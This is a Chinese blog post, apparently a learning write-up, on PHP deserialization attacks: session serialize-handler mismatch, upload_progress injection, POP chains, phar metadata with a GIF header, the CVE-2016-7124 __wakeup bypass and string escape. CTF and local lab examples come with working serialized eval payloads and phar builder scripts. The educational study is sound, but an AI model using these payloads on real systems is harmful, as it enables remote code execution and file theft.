/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
liunx常见保存位置

session-location.png
session-location.png

可以看到我们生成的session的储存名称是以sess_+sesion_id组成的

上面我们看到session会保存在cookie中,那我们是否可以通过修改cookie中的phpsession来修改session_id呢?

setcookie.png
setcookie.png

.png
.png

可以看到session以及修改了,我们看一下tmp目录下面的session文件名称是否改变

file.png
file.png

可以看到服务器目录下面的session文件名也发生了改变

现在的session文件是空的,我们尝试写入一些内容

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
session_start();
$_SESSION['test1']='hello';
$_SESSION['test2']='world';
echo"<br>";
echo "session_id(): ".session_id()."<br>";
echo "COOKIE: ".$_COOKIE["PHPSESSID"];

session-xiugai.png
session-xiugai.png

可以看到我们的数据已经写入到了session文件,但是却对数据的值进行了序列化

这个过程就是HTTP请求一个页面后,如果用到开启session,会去读COOKIE中的PHPSESSID是否有,如果没有,则会新生成一个session_id,先存入COOKIE中的PHPSESSID中,再生成一个sess_前缀文件。当有写入$_SESSION的时候,就会往sess_文件里序列化写入数据。当读取到session变量的时候,先会读取COOKIE中的PHPSESSID,获得session_id,然后再去找这个sess_session_id文件,来获取对应的数据。由于默认的PHPSESSID是临时的会话,在浏览器关闭后就会消失,所以,当我们打开浏览器重新访问的时候,就会新生成session_id和sess_session_id这个文件。

流程图如下:

session_flow_chart.png
session_flow_chart.png

  1. php.ini配置

在上面我们说session的保存位置是由php.ini文件控制的,那我们接下来看一下php.ini中于session有关的配置

session.save_path:这是session文件的储存路径

image-20240618195112896
image-20240618195112896

session.auto_start:这个开关是指定是否在请求开始时就自动启动一个会话,默认为Off;如果它为On的话,相当于就先执行了一个session_start(),会生成一个session_id,一般来说这个开关是不会打开的

image-20240618195202839
image-20240618195202839

session.save_handler:这个是设置用户自定义session存储的选项,默认是files,也就是以文件的形式来存储的

image-20240618195242457
image-20240618195242457

session.serialize_handler:这是最重要的部分,定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,默认是php

image-20240618195311740
image-20240618195311740

session.serialize_handler是定义序列化/反序列化的处理器名字,我们可以看到我们测试环境的处理器是php,而在session文件中经过php处理器处理过的以|把键名和键值分开了,这就是php处理器的特性,下面我们来看一下序列化/反序列化常用处理器得特性和作用。

  1. session.serialize_handler处理器
处理器对应存储格式
php键名 + 竖线 + 经过 serialize() 函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php_serialize (php>=5.5.4)经过 serialize() 函数序列化处理的数组

那我们下面通过代码来具体看一下三个处理器的特性

php:

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

image-20240618195747013
image-20240618195747013

php_binary:

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['name'] = $_GET['name'];
echo $_SESSION['name'];
?>

image-20240618195856771
image-20240618195856771

这里的不可见字符就是键名长度对应的accill码字符

php_serialize:

image-20240618195946844
image-20240618195946844

session反序列化漏洞

上面的都是关于session的一些基础,接下来才是真正开始关于session反序列化

session不需要unserialize()就能够进行反序列化,但是究竟是怎么进行反序列化呢?
我们来看一下session_start()函数的官方文档

image-20240618200020609
image-20240618200020609

我们使用sesison_start会开启一个新的会话或者重用现有会话,如果通过GET,或者POST方式或cookie方式提交了会话id,则会重用现有会话,这里就解释了为什么我们浏览器不关闭,session_id是不会发生改变的,调用的还是原来的session文件,而且当我们通过三种方式提交session_id的时候也会重用现有会话,而重用的过程就是php内部会调用会话管理器的open和read函数,通过read回调函数返回现有会话数据,php会自动反序列化数据并填充到$_SESSION超级全局变量中。

既然这样那我们如果把序列化后的内容提前写入到session文件(sess_session_id)中,这时我们去刷新页面,就会调用read函数返回现有会话数据(也就是我们现在的会话数据),php会把我们传入的数据进行反序列化操作,这样就会触发反序列化漏洞。

但是现在还有一个问题要解决,因为我们传入的是键值对,那么session序列化存储所用的处理器肯定也是将这个键值对写了进去,怎么才能让它正好反序列化到我们传入的内容。

这里就要用到我们上面介绍到的不同序列化处理器的特性,我们可以在我们传入的序列化内容前面加一个|,在php_serialize处理后会返回一个序列化后的数组,对于php_serialize引擎来说|可能只是一个正常的字符;但对于php引擎来说|就是分隔符。前面是$_SESSION['test']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对|后的值进行反序列化处理。

  1. 案例测试

读取session页面代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();
class Test{
public $code;
function __wakeup(){
eval($this->code);
}
}
?>


session传参页面:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if(isset($_GET['test'])){
$_SESSION['test']=$_GET['test'];
}
?>

先看读取页面,一个简单的反序列化,反序列化时触发_wakeup魔术方法,进行eval

payload:

1
2
3
4
5
6
7
8
9
<?php
class Test{
public $code='phpinfo();';
}
$a = new Test();
echo serialize($a);
?>


生成序列化字符串:

1
O:4:"Test":1:{s:4:"code";s:10:"phpinfo();";}

添加|后传入:

image-20240618200507620
image-20240618200507620

看一下session文件:

image-20240618200529691
image-20240618200529691

再看一下漏洞页面使用的处理器是php,那么|之前的会被认定为键名,|之后会被认定为键值,php处理器会对|的字符串进行反序列化字符串,这样就达到对我们传入的序列化字符串进行反序列化的操作,触发反序列化操作。

image-20240618200619975
image-20240618200619975

可以看到我们的命令已经执行

至于为什么是不同的页面,调用和生成的都是同一个session文件,这就是我们之前说的同一域名下面不同页面都可以调用和访问同一个session文件。只要浏览器不关闭使用的都是同一个session文件。

上述的方法是在可以对$_SESSION进行赋值的情况下才可以实现,若代码中不存在对$_SESSION赋值的情况下则不能利用

不存在对$_SESSION变量赋值

PHP中还存在uplaod_process机制,该机制会自动在$_SESSION中创建一个键值对(key:value),value中存在用户可控的部分。该功能用在session上传进度中。

image-20250308120112555
image-20250308120112555

根据官方文档解释,要成功利用,需要session.upload_progress.enabledon,并且在上传文件的同时,POST一个与session.upload_process.name同名的变量,后端会自动在$_SESSION中添加以这个变量名作为键名,并且序列化存储到session文件中。当遇到下次请求时,便会反序列化session文件,取出这个键。

所以实际上也是利用了不同引擎处理session规则不同,与上面提到的样例类似,只是创建过程是自动的。

样例:(来自http://web.jarvisoj.com:32784/)

index.php页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

首先查看源代码,可以发现:

 1. 源码使用php引擎来读取session
 2. 如果存在参数phpinfo,任意传入内容,就自动实例化对象`OowoO()`,对象实例化成功,自动执行`__construct()`魔术方法,执行`phpinfo()`函数,显示配置页面信息。

在配置页面搜索session相关字样,查找session配置:

image-20250308125726705
image-20250308125726705

通过返回的探针页面,可以知道:

  1. 反序列化使用的全局引擎是php_serialize,但读取页面上显示的是php引擎。序列化和反序列化引擎不一致,可以实现反序列化利用。

  2. index页面没有对$_SESSION变量进行赋值,但session.upload_progress.enabled变量值为On,符合upload_process自动赋值的利用,配合上述的反序列化,可以构造数据写入session

    session.upload_progress.name值为PHP_SESSION_UPLOAD_PROGRESS,因此可以在本地创建一个上传页面uplaod.html,用它向index.php提交POST请求表单,表单中写入PHP_SESSION_UPLOAD_PROGRESS变量。

upload.html表单页面

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123"></input>
<input type="file" name="file"></input>
<input type="submit" />
</form>

image-20250308141647336
image-20250308141647336

该表单会向目的地址提交post数据,并且携带session.upload_progress.name的参数值,向该值写入序列化后的字符串即可被反序列化执行。

1
2
3
4
5
6
7
8
9
10
11
12
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO{
public $mdzz = 'print_r(scandir(dirname(__FILE__)));';
}

$a = new OowoO();
echo serialize($a);
echo "<br>";
echo urlencode(serialize($a))

//输出:O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}<br>O%3A5%3A%22OowoO%22%3A1%3A%7Bs%3A4%3A%22mdzz%22%3Bs%3A36%3A%22print_r%28scandir%28dirname%28__FILE__%29%29%29%3B%22%3B%7D

print_r(scandir(dirname(__FILE__)));用来打印当前目录中的文件和目录的数组

接下来根据不同引擎区别对待|,在序列化字符串之前添加|,让引擎去反序列化|后半部分内容,执行命令。

1
|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

在文件上传过程中,抓包获取,在变量PHP_SESSION_UPLOAD_PROGRESS添加|和被序列化后的字符串。

首先查看当前目录下的文件:

image-20250308141032721
image-20250308141032721

可以看到存在flag文件:Here_1s_7he_fl4g_buT_You_Cannot_see.php

修改指令为print_r(dirname(__FILE__));,查看绝对路径

image-20250308141149599
image-20250308141149599

可以看到绝对路径为/opt/lampp/htdocs

接下来使用file_get_contents()函数,绝对路径拼接上flag文件名,获取并查看flag值

image-20250308141422199
image-20250308141422199

session反序列化POP链利用

注:以下例子在本地搭建,需要在php.ini中对以下选项进行配置:

1
2
3
session.auto_start = Off
session.serialize_handler = php_serialize
session.upload_progress.cleanup = 0ff

session.auto_start = on 表示PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()

session.serialize_handler = php_serialize表示默认使用php_serialize引擎进行存储。

session.upload_progress.cleanup = On 导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。

前期为了演示反序列化效果,暂时将这个选项关闭Off,后面会打开来展示利用条件竞争Session反序列化rce。

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){ // 类被当作字符串时被调用
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}

?>

index.php

1
2
3
4
5
6
7
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

通过查看class.php文件,可以利用foo3类中的execute()方法中的eval()构造命令执行。

在foo3中execute没有调用,但在foo2中的魔术方法__toString()里调用了execute(),可以把 $this->obj指向的类改为foo3,想方法调用__toSting()即可。

1
$this->obj = new foo3()

要触发foo2中的__toSting() ,就需要foo2类或者类下的一个对象被当作字符串调用。而在foo1类中有echo一个对象,只需要把$this->varr指向为foo2,通过echo,把一个对象当作一个字符调用,便可以触发foo2中的__toSting()方法。

1
$this->varr = new foo2()

调用链为:

1
2
3
graph TB
A["foo1的__destruct方法"]-->B["foo2::__toString"]
B-->C["foo3的execute方法"]

因此来构造序列化字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class foo1{
function __construct(){
$this->varr = new foo2();
}

}

class foo2{
function __construct(){
$this->obj =new foo3();
}
}

class foo3{
public $varr = "phpinfo();";
}

$obj = new foo1();
echo serialize($obj);

//输出:O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}}<br>O%3A4%3A%22foo1%22%3A1%3A%7Bs%3A4%3A%22varr%22%3BO%3A4%3A%22foo2%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A4%3A%22foo3%22%3A1%3A%7Bs%3A4%3A%22varr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D

接下来分析index.php

1. index页面使用php引擎来读取session文件,但系统使用`php_serialize`存储session,不同引擎之间,可以利用反序列化。
1. 文件直接`require("./class.php");`随后实例化foo1,这表示使用php引擎解析完session文件,便会自动反序列化执行代码。

与上面的案例类似,本地创建upload.html,向index.php提交POST请求表单,其中包含PHP_SESSION_UPLOAD_PROGRESS变量。

1
2
3
4
5
<form action="http://127.0.0.1/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

在文件上传的时候使用burp抓包,在 PHP_SESSION_UPLOAD_PROGRESS 的 value 值中添加’ | ‘和序列化的字符串,payload为:

1
|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":1:{s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:10:"phpinfo();";}}

(这里本地暂时没复现成功,先借用了一下其他师傅的截图,估计使用php版本过高)

image-20250308212800433
image-20250308212800433

session.upload_progress.cleanup = On,文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争来反序列化rce。

在文件上传的时候,抓取数据包,send to intruder模块,随便挑一个参数(无意义参数)来爆破,达到大线程重放数据包的目的,以实现条件竞争,利用php还来不及删除的情况下访问。

Phar概述和漏洞原理

phar就是php压缩文档,它可以把多个文件归档到同一个文件中,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。

Phar文件的构成:

  1. a stub

    识别phar拓展的标识,格式为:xxx<?php xxx; __HALT_COMPILER();?>,对应的函数 Phar::setStub。前期内容不限,但必须以__HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。

  2. a manifest describing the contents

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据。

  3. the file contents

    被压缩文件的内容。

  4. [optional] a signature for verifying Phar integrity (phar file format only)

    签名,放在文件末尾。对应函数Phar :: stopBuffering—停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。

这里有两个关键点:

  1. 文件标识:必须以__HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是可以轻易伪造一个图片或者PDF来绕过上传。

  2. 反序列化:phar存储的meta-data信息会以序列化方式存储,当文件被函数调用/操作的时候,phar://协议就会把文件内容解析为php对象,对象内的meta-data数据将会被反序列化。

    meta-data是serialize()函数生成并保存在phar文件内的,当内核使用phar_parse_metadata()函数解析meta-data数据的时候,会调用php_var_unserialize()函数来执行反序列化,自然就会造成反序列化漏洞。

    在一些上传点处,可以通过更改phar的后缀名或者文件头来绕过检测,但文件里的meta-data可以是提前写入的恶意代码。

构造有序列化的phar文件

本地创建一个phar文件,若想要使用Phar类里的方法,就需要把php.ini文件里的phar.readonly选项配置为Off或者0

内置Phar类的部分方法展示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//实例一个phar对象供后续操作
$phar = new Phar('test.phar');

//开始缓冲Phar写操作
$phar->startBuffering()

//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//以字符串的形式添加一个文件到 phar 档案
$phar->addFromString('test.php','<?php echo 'this is test file';');

//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar')

//该函数解压一个phar包,extractTo()提取phar文档内容
$phar->extractTo()

本地生成test.phar文件代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//反序列化payload构造
class TestObject {
}
@unlink("phar.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("test.phar");

//开始缓冲对phar的写操作
$phar->startBuffering();

//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ? > 结尾
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data='i am bmjoker';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "bmjoker");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>

执行上述代码后,会在当前目录下生成名为test.phar的文件,使用二进制编辑器打开,可以看到

image-20250401221442793
image-20250401221442793

phar文件的meta-data是以序列化的方式来存储的,当通过phar://协议来解析phar文件的时候,就会自动执行反序列化操作,将meta-data的内容反序列化变成正常的字符串。

下面是支持使用phar://协议的函数,还有常用的文件包含的几个函数 includeinclude_oncerequrierequire_once

*受影响的文件操作函数列表*
fileatimefilectimefile_existsfile_get_contentstouchget_meta_tags
file_put_contentsfilefilegroupfopenhash_fileget_headers
fileinodefilemtimefileownerfilepermsmd5_filegetimagesize
is_diris_executableis_fileis_linksha1_filegetimagesizefromstring
is_readableis_writableis_writeableparse_ini_filehash_update_fileimageloadfont
copyunlinkstatreadfilehash_hmac_fileexif_imagetype

对上述生成的test.phar进行反序列化读取

1
2
3
4
<?php
$filepath = "phar://test.phar/test.txt" ;
echo file_get_contents($filepath);
?>

image-20250401222504000
image-20250401222504000

可以看到,phar文件内压缩的test.txt内的内容被正确读取

把Phar文件伪造为其他格式的文件

php识别phar文件是通过其文件头的stub,也就是通过__HALT_COMPILER();?>这段代码,对于前面的内容或者后缀名没有要求,也就是说,我们可以通过添加任意的文件头内容,配合修改文件后缀来把phar伪造成其他格式的文件

例如将上面的例子伪造为一个GIF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//反序列化payload构造
class TestObject {
}
@unlink("phar.phar");

//实例一个phar对象供后续操作,后缀名必须为phar
$phar = new Phar("test.phar");
//开始缓冲对phar的写操作
$phar->startBuffering();

//设置识别phar拓展的标识stub,必须以 __HALT_COMPILER(); ? > 结尾,添加GIF的文件头,伪造为GIF文件
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中
$o = new TestObject();
$o->data='i am bmjoker';
//将自定义的归档元数据meta-data存入manifest
$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容
$phar->addFromString("test.txt", "fake gif");
//停止缓冲对phar的写操作
$phar->stopBuffering();
?>

运行代码生成test.phar,使用二进制编辑器打开查看:

image-20250401223417270
image-20250401223417270

可以看到,成功添加了GIF的文件头,这种方式可以绕过一些校验文件头的上传点。

下面是一个利用phar结合伪造文件头的绕过样例:

upload_file.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else{
echo "Invalid file,you can only upload gif";
}
?>

upload_file.html:

1
2
3
4
5
6
<body>
<form action="http://127.0.0.1/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

file_un.php:

1
2
3
4
5
6
7
8
9
10
11
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename); // 漏洞点
?>

upload_file.php中,对上传的文件的文件类型和文件后缀都进行了判断,要求为GIF文件;

file_un.php文件对上传后的文件使用file_exists函数来判断是否存在,并且还含有魔术方法__destruct(),其中还有eval()高危函数。

思路:根据file_un.php构造生成phar文件,在生成过程中插入payload,并且添加文件头GIF和后缀GIF来实现绕过上传,成功上传后,利用file_exists函数,结合phar://伪协议来触发反序列化,执行payload

构造生成phar的php代码:

1
2
3
4
5
6
7
8
9
$phar = new Phar('payload.phar');
$phar-> startBuffering();
$phar-> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt', 'test');
$obj = new AnyClass();
$obj->output = 'echo "success !";'; //这里写入具体的payload,执行命令或者函数
$phar->setMetadata($obj);
$phar->stopBuffering();

修改后缀为.gif并上传,根据返回的上传保存路径,向file_un.php文件中的filename传参,利用phar://伪协议触发反序列化

payload:127.0.0.1/file_un.php?filename=phar://upload_file/payload.gif

image-20250402005854918
image-20250402005854918

成功触发语句

漏洞利用条件

  1. phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists()fopen()file_get_contents()include()等文件操作的函数
  2. 要有可用的魔术方法作为”跳板”;
  3. 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤

[!NOTE]

注意:虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作

在禁止phar开头的情况下的替代方法:

1
2
3
4
5
compress.zlib://phar://phar.phar/test.txt

compress.bzip2://phar://phar.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt

上述操作,虽然会提示warning,但是还是会执行代码

CVE-2016-7124绕过_wakeup()的反序列化

漏洞影响版本

php5 < 5.6.25 | php7 < 7.0.10

漏洞原理

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

样例

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php   
class Test {
public $name = 'user_test';
function __destruct()
{
echo 'Bypass';
}

function __wakeup()
{
echo 'fail ';
}
}
$payload = $_GET['a'];
unserialize($payload);
?>

序列化payload生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Test {
public $name = 'user_test';
function __destruct()
{
echo 'Bypass';
}

function __wakeup()
{
echo 'fail ';
}

}

$payload = new Test();
$a = serialize($payload);
echo $a;
echo '<br>';
echo urlencode($a);


//
O:4:"Test":1:{s:4:"name";s:9:"user_test";}<br>O%3A4%3A%22Test%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A9%3A%22user_test%22%3B%7DBypass

payload:O:4:"Test":1:{s:4:"name";s:9:"user_test";}

(以下环境使用PHP5.3.29测试)

image-20250403211249742
image-20250403211249742

修改payload中的代表属性个数,使其大于真实的属性个数:

payload:O:4:"Test":4:{s:4:"name";s:9:"user_test";}

image-20250403211414215
image-20250403211414215

可以明显看到,当代表属性个数的值大于真实的属性个数,便会自动跳过_wakeup魔术方法的执行。

CTF例题

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->

通过阅读源代码,可以发现,接收参数为file,提供序列化后的SoFun对象的base64编码,它会根据对象内的file参数指定的文件名,在当前目录下查找(__destruct()方法),并返回文件内容。

所以整体思路是序列化SoFun对象,并将file指定为flag.php,序列化后进行base64编码。

SoFun对象中存在魔术方法__wakeup(),在执行到__destruct()方法之前,就会自动触发__wakeup()方法里的$this-> file='index.php';,**强行把file参数指定为index.php**。

要成功利用,__wakeup()方法就不能被执行,这时候就可以考虑CVE-2016-7124的特性

此外,还需要注意,由于protected $file='index.php';说明file参数是protected方法,序列化后有特殊的标识%00*%00

payload生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class SoFun{ 
protected $file='flag.php';

}

$payload = new SoFun();
echo serialize($payload);
echo "</br>";
echo urlencode(serialize($payload))

echo base64_encode("O:5:\"SoFun\":2:{s:7:\"\x00*\x00file\";s:8:\"flag.php\";}") //注意,在php中只有""内的\会被解释为转义符,''内的\只会被当作字符,所以这里要使用双引号包裹,但使用双引号后,内部的双引号会冲突,就需要对每个双引号进行转义。

//
O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}</br>O%3A5%3A%22SoFun%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A8%3A%22flag.php%22%3B%7D</br>Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

添加特殊标记,并修改属性个数,形成的payload:O:5:"SoFun":2:{s:7:"%00*%00file";s:8:"flag.php";}

对其进行base64编码后最终形成的payload:Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

image-20250403222800065
image-20250403222800065

成功实现反序列化

PHP反序列化逃逸

在PHP序列化与反序列化中,都必须按照严格的序列化规则,才能反序列化,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$str='a:2:{i:0;s:4:"test";i:1;s:4:"haha";}';
var_dump(unserialize($str));
?>


//
array(2) {
[0] =>
string(4) "test"
[1] =>
string(4) "haha"
}

虽然反序列化有自己的规则,但同时也有一定的识别范围({}之后),超出这个范围的内容,就会被忽略,不会影响反序列化的执行

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$str='a:2:{i:0;s:4:"test";i:1;s:4:"haha";}abcdefghijklmnopqrstuvwxyz';
var_dump(unserialize($str));
?>


//
array(2) {
[0] =>
string(4) "test"
[1] =>
string(4) "haha"
}

使用样例

1
2
3
4
5
6
7
8
9
10
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>


//
a:3{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

若此时作为一道CTF题,题中增加了过滤flag字符的机制,上面的序列化字符串就会变为:

1
a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

对比过滤前后,并将其反序列化,观察结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
$ser = serialize($_SESSION);
var_dump(unserialize($ser));
echo "-----------------------\n";
$filter = preg_replace("/flag/i",'',$ser);
var_dump(unserialize($filter));
?>


//
array(3) {
'user' =>
string(24) "flagflagflagflagflagflag"
'function' =>
string(59) "a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}"
'img' =>
string(20) "L2QwZzNfZmxsbGxsbGFn"
}
-----------------------
array(3) {
'user' =>
string(24) "";s:8:"function";s:59:"a"
'img' =>
string(20) "ZDBnM19mMWFnLnBocA=="
'dd' =>
string(1) "a"
}

根据打印过滤前和过滤后的反序列化输出,可以看到当把flag过滤之后,string(24)规定需要24个字符,为了满足反序列化的规则,会向后读取字符,直至凑齐24个字符,也就是会向后读取";s:8:"function";s:59:"a,凑齐24个字符后便以;结尾,之后["img"]就按照string(20)读取20个字符,["dd"]按照string(1)读取一个字符,剩余的字符就直接被忽略,不影响正常的反序列化过程。

也就变成了如下这样:

1
2
3
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';

通过这样操作,原本$_SESSION["img"]想要读取的值为L2QwZzNfZmxsbGxsbGFn,但由于自动过滤了flag字符,string(24)位数不够,便会向后读取24位,就把$_SESSION["function"]的值的前24位存放在$_SESSION["user"]中,把$_SESSION["funcion"]的值的后20为存放在$_SESSION["img"]中,这样就导致了ZDBnM19mMWFnLnBocA==代替了原本$_SESSION["img"]的值。

而在反序列化完成后,只会识别到}结束的位置,后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}就被自动忽略了,不会影响反序列化过程。

在这个样例中,$_SESSION["img"]的值发生了变化,如果我们能够控制$_SESSION["funcion"]的值,但无法控制$_SESSION["img"]的值的时候,就可以考虑使用这种方式来间接控制。

PHP原生类序列化

学习中

参考学习链接

php反序列化从入门到放弃(入门篇)

PHP的序列化和反序列化入门

(感谢师傅的文章,本文只是参考师傅文章学习并记录和复现结果,所以内容多有重合)

  • 标题: PHP序列化和反序列化
  • 作者: 耀鳞光翼
  • 创建于 : 2025-04-04 11:56:00
  • 更新于 : 2025-04-04 12:48:54
  • 链接: https://blog.lightwing.top/2025/04/04/phpunserialize/
